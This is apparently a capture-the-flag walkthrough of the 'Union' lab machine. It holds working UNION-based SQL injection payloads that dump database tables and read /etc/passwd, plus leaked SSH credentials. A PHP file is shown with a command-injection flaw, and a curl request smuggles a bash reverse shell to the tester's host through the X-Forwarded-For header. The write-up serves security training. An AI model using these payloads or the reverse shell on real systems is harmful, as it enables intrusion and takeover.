Union
Difficulty: Medium
Tags: Linux, Webserver, SQL, SQLi, Command Injection
Description: Union is an medium difficulty linux machine featuring a web application that is vulnerable to SQL Injection. There are filters in place which prevent SQLMap from dumping the database. Users are intended to manually craft union statements to extract information from the database and website source code. The database contains a flag that can be used to authenticate against the machine and upon authentication the webserver runs an iptables command to enable port 22. The credentials for SSH are in the PHP Configuration file used to authenticate against MySQL. Once on the machine, users can examine the source code of the web application and find out by setting the X-FORWARDED-FOR header, they can perform command injection on the system command used by the webserver to whitelist IP Addresses.
Summary
Although security filters are in place to block automated tools like SQLMap, the application hosted on this device is susceptible to manually crafted UNION-based SQLi payloads. By exploiting this flaw, an attacker can extract data from the backend database, including a flag that grants firewall access and utilise the load_file function to retrieve a configuration file containing cleartext SSH credentials.
After gaining an initial foothold as the uhc user, a review of the web application’s source code reveals a command injection vulnerability within the X-FORWARDED-FOR HTTP header. This is leveraged to obtain a reverse shell as the www-data user, who is found to have full sudo privileges, leading to complete system compromise.
Walkthrough
1. Enumeration
1.1. Port Scans
The assessment started with an Nmap scan of all ports on the target host. The result revealed that the host was a Linux webserver, with only a singular open port - port 80 - which Nmap reported as an nginx web server.
sudo nmap -sV -p- --open -T4 10.10.11.128 -Pn
~/union [10.10.14.59]
> sudo nmap -sV -p- --open -T4 10.10.11.128 -Pn
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-02 14:36 +0000
Nmap scan report for 10.10.11.128
Host is up (0.031s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.66 seconds
After all open ports on the target were discovered a more targeted scan of port 80 was conducted. This revealed more detailed information about the host.
sudo nmap -p 80 10.10.11.128 -A
~/union [10.10.14.59]
> sudo nmap -p 80 10.10.11.128 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-02 14:38 +0000
Nmap scan report for 10.10.11.128
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 34.10 ms 10.10.14.1
2 34.48 ms 10.10.11.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds
This aggressive port scan provided more information about the hosts operating system (OS) version. Though no specific version could be identified.
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
1.2. Initial Website Enumeration
As port 80 was the only open port found, the tester continued the assessment by reviewing the URL: http://10.10.11.128/. The image below shows the landing page of the website.

Then the tester reviewed the source code of the website as this can provide more detailed information about the technology used.
<link href="css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$(function () {
$('form').on('submit', function (e) {
e.preventDefault();
$.ajax({
type: 'post',
url: 'index.php',
data: 'player=' + document.getElementsByName('player')[0].value,
async: true,
success: function (data) {
$('#output').html("");
$('#output').append(data);
}
});
});
});
</script>
<!------ Include the above in your HEAD tag ---------->
<div >
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-3">
<h3 class="text-white">Player Eligibility Check</h3>
<form action="#" method="Post">
<input type="text" name="player" placeholder="player">
<button type="submit" class="btn btn-default">Check<i class="fa fa-envelope"></i></button>
</form>
<p class="text-white" id="output"></p>
</div>
</section>
</div>
The source code of the landing page reveals that JavaScript is used for the front-end of the site, and PHP for the backend.
1.3. Fuzzing the Website
While conducting manual enumeration techniques, the tester ran the ffuf tool, attempting to find additional web pages and directories.
Directory Fuzzing
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ
~/union [10.10.14.59]
> ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.128:80/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# directory-list-2.3-medium.txt [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 31ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 33ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
[Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 39ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 40ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 40ms]
# on at least 2 different hosts [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 44ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 42ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 43ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 44ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 25ms]
[Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 32ms]
:: Progress: [220559/220559] :: Job [1/1] :: 1020 req/sec :: Duration: [0:03:18] :: Errors: 0 ::
PHP Web Page Fuzzing
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ.php
~/union [10.10.14.59]
> ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://10.10.11.128:80/FUZZ.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.128:80/FUZZ.php
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# directory-list-2.3-medium.txt [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 37ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 37ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 36ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 42ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 38ms]
# [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
index [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 38ms]
# on at least 2 different hosts [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 45ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 39ms]
firewall [Status: 200, Size: 13, Words: 2, Lines: 1, Duration: 27ms]
config [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 33ms]
challenge [Status: 200, Size: 772, Words: 48, Lines: 21, Duration: 42ms]
:: Progress: [220559/220559] :: Job [1/1] :: 1075 req/sec :: Duration: [0:03:25] :: Errors: 0 ::
No directories were discovered from the first scan, however, the second scan found three new web pages:
- firewall.php
- config.php
- challenge.php
1.4. Enumerating the Form
The form found was thought to be a possible attack vector, so a simple submission was made to review what actions the form took.

The form appeared to do a lookup for the entered username, and if not found, a link to http://10.10.11.128/challenge.php is displayed.
1.5. Enumerating the Found Web Pages
When the tester attempted to access http://10.10.11.128/firewall.php the status returned was 200 OK, however, the web page only displays “Access Denied”.
The tester assumed this would mean a need to use anti-application-firewall techniques and be careful with the rate at which web requests were made.

Accessing http://10.10.11.128/challenge.php returns a web page that displays another form, this one requested a “flag”.

The source code of the web page revealed that the form appeared to have no functionality, however, when caught in Burp Suite the below request was found to be submitted.
POST /challenge.php HTTP/1.1
Host: 10.10.11.128
Content-Length: 9
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.10.11.128
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.128/challenge.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=bk1rjaguorod5iepfjm0nqcktn
Connection: keep-alive
flag=flag
No additional information was returned.
1.6. Probing the Forms
Initial observations of the Player Eligibility Check on the landing page and the Flag Submission form discovered at challenge.php suggested these were primary points of interaction with a backend database, making them the primary targets for SQL Injection (SQLi).
Following professional methodology, the tester first attempted to identify vulnerabilities using SQLMap, an automated detection tool. As there is evidence that a Web Application Firewall is in place, and to account for potential basic filtering, the tester utilised the space2comment tamper script and a random user agent to disguise the automated nature of the requests.
SQLMap Scan: Player Form
The first attempt targeted the player parameter on index.php.
sqlmap -r player_req --random-agent --tamper=space2comment --dump
~/union [10.10.14.59]
> sqlmap -r player_req --random-agent --tamper=space2comment --dump
___
__H__
___ ___[,]_____ ___ ___ {1.9.12#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:38:05 /2026-01-02/
[16:38:05] [INFO] parsing HTTP request from 'player_req'
[16:38:05] [INFO] loading tamper module 'space2comment'
[16:38:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[16:38:05] [INFO] testing connection to the target URL
[16:38:05] [INFO] testing if the target URL content is stable
[16:38:06] [INFO] target URL content is stable
[16:38:06] [INFO] testing if POST parameter 'player' is dynamic
[16:38:06] [INFO] POST parameter 'player' appears to be dynamic
[16:38:06] [WARNING] heuristic (basic) test shows that POST parameter 'player' might not be injectable
[16:38:06] [INFO] heuristic (XSS) test shows that POST parameter 'player' might be vulnerable to cross-site scripting (XSS) attacks
[16:38:06] [INFO] testing for SQL injection on POST parameter 'player'
[16:38:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:38:06] [WARNING] reflective value(s) found and filtering out
[16:38:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[16:38:07] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:38:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:38:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[16:38:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:38:08] [INFO] testing 'Generic inline queries'
[16:38:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:38:08] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:38:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:38:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:38:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:38:09] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[16:38:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:38:14] [WARNING] POST parameter 'player' does not seem to be injectable
[16:38:14] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests
[*] ending @ 16:38:14 /2026-01-02/
The tool reported that while the parameter appeared dynamic, the heuristic tests failed to confirm an injection point. The scan concluded with a critical warning that no parameters appeared injectable.
[16:38:06] [WARNING] heuristic (basic) test shows that POST parameter 'player' might not be injectable
[16:38:14] [CRITICAL] all tested parameters do not appear to be injectable.
SQLMap Scan: Challenge Form
The tester then pivoted to the second potential entry point discovered at challenge.php, targeting the flag parameter.
sqlmap -r challenge_req --random-agent --tamper=space2comment --dump
~/union [10.10.14.59]
> sqlmap -r challenge_req --random-agent --tamper=space2comment --dump
___
__H__
___ ___[.]_____ ___ ___ {1.9.12#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:41:06 /2026-01-02/
[16:41:06] [INFO] parsing HTTP request from 'challenge_req'
[16:41:06] [INFO] loading tamper module 'space2comment'
[16:41:06] [INFO] fetched ┌────────1 (%6)─────────┐ader value 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[16:41:06] [INFO] testing │ Search For User (C-r) │URL
[16:41:06] [INFO] checking│ Type User (C-y) │ed by some kind of WAF/IPS
[16:41:06] [INFO] testing │ Copy User (c) │ is stable
[16:41:07] [INFO] target U│ Copy Line (l) │
[16:41:07] [INFO] testing ├───────────────────────┤is dynamic
[16:41:07] [WARNING] POST │ Horizontal Split (h) │ appear to be dynamic
[16:41:07] [WARNING] heuri│ Vertical Split (v) │hat POST parameter 'flag' might not be injectable
[16:41:07] [INFO] testing ├───────────────────────┤ parameter 'flag'
[16:41:07] [INFO] testing │ Swap Up │- WHERE or HAVING clause'
[16:41:07] [INFO] testing │ Swap Down │rameter replace (original value)'
[16:41:07] [INFO] testing │ Swap Marked │ased - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:41:07] [INFO] testing ├───────────────────────┤ed - WHERE or HAVING clause'
[16:41:08] [INFO] testing │ Kill (X) │ase AND error-based - WHERE or HAVING clause (IN)'
[16:41:08] [INFO] testing │ Respawn (R) │ WHERE or HAVING clause (XMLType)'
[16:41:08] [INFO] testing │ Mark (m) │
[16:41:08] [INFO] testing │ Zoom │ queries (comment)'
[16:41:08] [INFO] testing └───────────────────────┘ase stacked queries (comment)'
[16:41:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:41:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:41:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:41:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:41:09] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[16:41:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:41:15] [WARNING] POST parameter 'flag' does not seem to be injectable
[16:41:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests
[*] ending @ 16:41:15 /2026-01-02/
Nothing useful returned from these results.
1.7. Manual Form Enumeration
While automated scanning was taking place, the tester attempted to manually enumerate the forms by using basic SQL Injection techniques using Burp Suite.

Initial attempts were unsuccessful, attempting to escape via quotes or using comments appears unsuccessful.

Despite that sending player' -- - failed, the tester also attempted a UNION based SQLi. As the SQL query now returns data - despite this data not being a username from the database - a different response is returned as if a valid username had been entered.
This response tells us that the servers MySQL version is 8.0.27-0ubuntu0.20.04.1 and that the form is susceptible to UNION based SQL injection techniques.
2. Exploitation
2.1. Initial

To work around the limitation of there only being a single value returned, the tester needed to use functions such as CONCAT() and GROUP_CONCAT() to concatenate multiple values into a singular column.
The result of this injection tells us the following databases exist:
- mysql
- information_schema
- performance_schema
- sys
- november
november is the only non-standard database listed, so the investigation continued in this direction.

The tester made the POST request with player set to the below value, this returned specific data relating to the tables within the ’november’ database.
player' union select group_concat(concat('table: ',table_name, ' - '), concat('cols: ',column_name)) from information_schema.columns where table_schema = 'november' -- -
With this information the tester now knew that there are two tables, the first is called ‘flag’ with a singular column called ‘one’ and the other table is called ‘players’ with a column called ‘player’.

The tester then attempt to retrieve all player usernames from the database:
player' union select group_concat(player) from players -- -
This returned the below usernames:
- ippsec
- celesian
- big0us
- luska
- tinyboy

Repeating this process with the ‘flag’ table returns: UHC{F1rst_5tep_2_Qualify}.
This flag may be useful for the challenge.php page seen earlier.

Entering the flag found in the database to the form located at http://10.10.11.128/challenge.php redirects us to http://10.10.11.128/firewall.php with the message shown.
The tester then confirmed that port 22 for SSH was open using nmap.
nmap -p 22 10.10.11.128 -A
~
> nmap -p 22 10.10.11.128 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 09:54 EST
Nmap scan report for 10.10.11.128
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 19.12 ms 10.10.14.1
2 17.07 ms 10.10.11.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds
The tester then attempted to connect via SSH using one of the found usernames.
~ [10.10.14.59]
> ssh ippsec@10.10.11.128
The authenticity of host '10.10.11.128 (10.10.11.128)' can't be established.
ED25519 key fingerprint is: SHA256:hE6H4DrsHebfs+gclhz9SL77tMpy8aKR3vp8Y0NRDvY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.128' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ippsec@10.10.11.128's password:
Permission denied, please try again.
ippsec@10.10.11.128's password:
Permission denied, please try again.
ippsec@10.10.11.128's password:
But basic password guessing was not successful.
The tester returned to the SQL injection to attempt to retrieve files from the server.

This returned the below values:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
Trial and error quickly allowed the tester to find index.php and get its contents. This confirmed the location of the web content on the server.

This provides detailed information about how the SQL query is made and what protection against SQLi is currently in place. The main piece of data we retrieve from this response is the existence of a config.php file.

From the /etc/passwd file found earlier, we know that we may be able to use this ‘uhc’ account and the password uhc-11qual-global-pw via SSH.
~ [10.10.14.59]
> ssh uhc@10.10.11.128
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
uhc@10.10.11.128's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Nov 8 21:19:42 2021 from 10.10.14.8
uhc@union:~$
We successfully gain access via SSH and lets us grab the first flag.
uhc@union:~$ ls
user.txt
uhc@union:~$ cat user.txt
2cc5a23d71c121b545e90b1b40c722c9
uhc@union:~$
uhc@union:/var/www/html$ sudo -l
[sudo] password for uhc:
Sorry, user uhc may not run sudo on union.
The tester reviewed basic enumeration and what privileges the new user had, but found little that could be of use, so instead went back to the path where the website was hosted and reviewed the final file: firewall.php.
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
</div>
On review we could see that the webpage runs some PHP code that could possibly be escaped to run commands directly on the server.
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
Attempting this exploitation using Burp Suite did not work.

So the tester attempted this exploitation using Curl:
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' --cookie "PHPSESSID=esirg2cauee1p76p4o17ggd1gl" 'http://10.10.11.128/firewall.php'
~ [10.10.14.59]
> curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' --cookie "PHPSESSID=esirg2cauee1p76p4o17ggd1gl" 'http://10.10.11.128/firewall.php'
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
and successfully connected using the www-data user:
~ [10.10.14.59]
> sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.11.128] 49916
